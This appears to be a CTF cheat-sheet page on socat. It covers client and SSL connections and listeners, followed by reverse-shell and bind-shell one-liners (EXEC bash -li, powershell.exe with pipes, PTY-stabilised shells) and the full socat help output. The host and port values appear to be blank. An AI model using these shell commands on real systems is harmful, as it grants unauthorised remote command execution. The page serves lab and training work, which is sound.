> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/connect-to-machines/socat.md). # socat Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. ## Connect with socat ### Normal connection To connect with `socat` as a client ```bash socat - TCP4:: ``` Note that socat requires the hyphen (**-**) to transfer data between `STDIO` and the remote host (allowing our keyboard interaction with the shell) and the protocol, **TCP4**. The protocol, options, and port number are colon-delimited. ### Connect with OpenSSL To connect with `socat` as a SSL client ```bash socat - OPENSSL:: ``` ### Connect and run command To connect to a listener and execute a command (usually shell) on the target machine: For a Linux target ```bash socat TCP:: EXEC:"bash -li" ``` For a Windows target ```bash socat TCP:: EXEC:powershell.exe,pipes ``` The `pipes` option is used to force powershell (or cmd.exe) to use Unix style standard input and output. ## Socat as a server ### Plain shell To start `socat` as a plain server/listener ```bash socat - TCP-L: ``` This is the equivalent to `nc -lvnp `. #### Advanced/TTY shell To start an advanced/TTY shell. Note that this **only works on Linux** machines. ```bash socat TCP-L: FILE:`tty`,raw,echo=0 ``` ### Bind shell #### Linux bind shell To start `socat` as a bind shell on a Linux machine ```bash socat TCP-L: EXEC:"bash -li" ``` To start an advanced/TTY bind shell. Note that this **only works on Linux** machines. ```bash socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane ``` Notes on the parameters: * **pty**, allocates a pseudoterminal on the target -- part of the stabilisation process * **stderr**, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells) * **sigint**, passes any `Ctrl + C` commands through into the sub-process, allowing us to kill commands inside the shell * **setsid**, creates the process in a new session * **sane**, stabilises the terminal, attempting to "normalize" it. #### Windows bind shell To start `socat` as a bind shell on a Windows machine ```bash socat TCP-L: EXEC:powershell.exe,pipes ``` ## Usage information

socat -h

```bash ┌──(kali㉿kali)-[~] └─$ socat -h socat by Gerhard Rieger and contributors - see www.dest-unreach.org Usage: socat [options]

options (general command line options): -V print version and feature information to stdout, and exit -h|-? print a help text describing command line options and addresses -hh like -h, plus a list of all common address option names -hhh like -hh, plus a list of all available address option names -d[ddd] increase verbosity (use up to 4 times; 2 are recommended) -d0|1|2|3|4 set verbosity level (0: Errors; 4 all including Debug) -D analyze file descriptors before loop --experimental enable experimental features --statistics output transfer statistics on exit -ly[facility] log to syslog, using facility (default is daemon) -lf log to file -ls log to stderr (default if no other log) -lm[facility] mixed log mode (stderr during initialization, then syslog) -lp set the program name used for logging and vars -lu use microseconds for logging timestamps -lh add hostname to log messages -v verbose text dump of data traffic -x verbose hexadecimal dump of data traffic -r raw dump of data flowing from left to right -R raw dump of data flowing from right to left -b set data buffer size (8192) -s sloppy (continue on error) -S log these signals, override default -t wait seconds before closing second channel -T total inactivity timeout in seconds -u unidirectional mode (left to right) -U unidirectional mode (right to left) -g do not check option groups -L try to obtain lock, or fail -W try to obtain lock, or wait -0 do not prefer an IP version -4 prefer IPv4 if version is not explicitly specified -6 prefer IPv6 if version is not explicitly specified bi-address: /* is an address that may act both as data sync and source */

!! single-address: [,] address-head: ABSTRACT-CLIENT: groups=FD,SOCKET,RETRY,UNIX ABSTRACT-CONNECT: groups=FD,SOCKET,RETRY,UNIX ABSTRACT-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX ABSTRACT-RECV: groups=FD,SOCKET,RETRY,UNIX ABSTRACT-RECVFROM: groups=FD,SOCKET,CHILD,RETRY,UNIX ABSTRACT-SENDTO: groups=FD,SOCKET,RETRY,UNIX ACCEPT-FD: groups=FD,SOCKET,CHILD,RETRY,RANGE,UNIX,IP4,IP6,UDP,TCP CREATE: groups=FD,REG,NAMED DCCP-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6 DCCP-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6 DCCP4-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4 DCCP4-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4 DCCP6-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP6 DCCP6-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6 EXEC: groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX FD: groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP GOPEN: groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX INTERFACE: groups=FD,SOCKET,INTERFACE IP-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4,IP6 IP-RECV: groups=FD,SOCKET,RANGE,IP4,IP6 IP-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP4,IP6 IP-SENDTO:: groups=FD,SOCKET,IP4,IP6 IP4-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4 IP4-RECV: groups=FD,SOCKET,RANGE,IP4 IP4-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP4 IP4-SENDTO:: groups=FD,SOCKET,IP4 IP6-DATAGRAM:: groups=FD,SOCKET,RANGE,IP6 IP6-RECV: groups=FD,SOCKET,RANGE,IP6 IP6-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP6 IP6-SENDTO:: groups=FD,SOCKET,IP6 OPEN: groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS OPENSSL:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL OPENSSL-DTLS-CLIENT:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL OPENSSL-DTLS-SERVER: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL OPENSSL-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL PIPE[:] groups=FD,FIFO,NAMED,OPEN POSIXMQ-BIDIRECTIONAL: groups=FD,NAMED,RETRY POSIXMQ-READ: groups=FD,NAMED,RETRY POSIXMQ-RECEIVE: groups=FD,NAMED,CHILD,RETRY POSIXMQ-SEND: groups=FD,NAMED,CHILD,RETRY PROXY::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP PTY groups=FD,NAMED,TERMIOS,PTY SCTP-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6 SCTP-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6 SCTP4-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4 SCTP4-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4 SCTP6-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP6 SCTP6-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6 SHELL: groups=FD,FIFO,SOCKET,EXEC,FORK,SHELL,TERMIOS,PTY,PARENT,UNIX SOCKET-CONNECT::: groups=FD,SOCKET,CHILD,RETRY SOCKET-DATAGRAM:::: groups=FD,SOCKET,RANGE SOCKET-LISTEN::: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE SOCKET-RECV:::: groups=FD,SOCKET,RANGE SOCKET-RECVFROM:::: groups=FD,SOCKET,CHILD,RANGE SOCKET-SENDTO:::: groups=FD,SOCKET SOCKETPAIR: groups=FD,SOCKET SOCKS4::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS SOCKS4A::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS SOCKS5-CONNECT:[:]:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS SOCKS5-LISTEN:[:]:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP STDERR groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP STDIN groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP STDIO groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP STDOUT groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP SYSTEM: groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX TCP-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP TCP-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP TCP4-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP4,TCP TCP4-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP TCP6-CONNECT:: groups=FD,SOCKET,CHILD,RETRY,IP6,TCP TCP6-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP TUN[:/] groups=FD,CHR,OPEN,INTERFACE UDP-CONNECT:: groups=FD,SOCKET,IP4,IP6,UDP UDP-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4,IP6,UDP UDP-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP UDP-RECV: groups=FD,SOCKET,RANGE,IP4,IP6,UDP UDP-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP UDP-SENDTO:: groups=FD,SOCKET,IP4,IP6,UDP UDP4-CONNECT:: groups=FD,SOCKET,IP4,UDP UDP4-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4,UDP UDP4-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP UDP4-RECV: groups=FD,SOCKET,RANGE,IP4,UDP UDP4-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP4,UDP UDP4-SENDTO:: groups=FD,SOCKET,IP4,UDP UDP6-CONNECT:: groups=FD,SOCKET,IP6,UDP UDP6-DATAGRAM:: groups=FD,SOCKET,RANGE,IP6,UDP UDP6-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP UDP6-RECV: groups=FD,SOCKET,RANGE,IP6,UDP UDP6-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP6,UDP UDP6-SENDTO:: groups=FD,SOCKET,IP6,UDP UDPLITE-CONNECT:: groups=FD,SOCKET,IP4,IP6,UDP UDPLITE-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4,IP6,UDP UDPLITE-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP UDPLITE-RECV: groups=FD,SOCKET,RANGE,IP4,IP6,UDP UDPLITE-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP UDPLITE-SENDTO:: groups=FD,SOCKET,IP4,IP6,UDP UDPLITE4-CONNECT:: groups=FD,SOCKET,IP4,UDP UDPLITE4-DATAGRAM:: groups=FD,SOCKET,RANGE,IP4,UDP UDPLITE4-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP UDPLITE4-RECV: groups=FD,SOCKET,RANGE,IP4,UDP UDPLITE4-RECVFROM:: groups=FD,SOCKET,CHILD,RANGE,IP4,UDP UDPLITE4-SENDTO:: groups=FD,SOCKET,IP4,UDP UDPLITE6-CONNECT:: groups=FD,SOCKET,IP6,UDP UDPLITE6-DATAGRAM:: groups=FD,SOCKET,RANGE,IP6,UDP UDPLITE6-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP UDPLITE6-RECV: groups=FD,SOCKET,RANGE,IP6,UDP UDPLITE6-RECVFROM: groups=FD,SOCKET,CHILD,RANGE,IP6,UDP UDPLITE6-SENDTO:: groups=FD,SOCKET,IP6,UDP UNIX-CLIENT: groups=FD,SOCKET,NAMED,RETRY,UNIX UNIX-CONNECT: groups=FD,SOCKET,NAMED,RETRY,UNIX UNIX-LISTEN: groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX UNIX-RECV: groups=FD,SOCKET,NAMED,RETRY,UNIX UNIX-RECVFROM: groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX UNIX-SENDTO: groups=FD,SOCKET,NAMED,RETRY,UNIX VSOCK-CONNECT:: groups=FD,SOCKET,CHILD,RETRY VSOCK-LISTEN: groups=FD,SOCKET,LISTEN,CHILD,RETRY ```

## Resources **socat** - Homepage: **socat** - Linux manual page: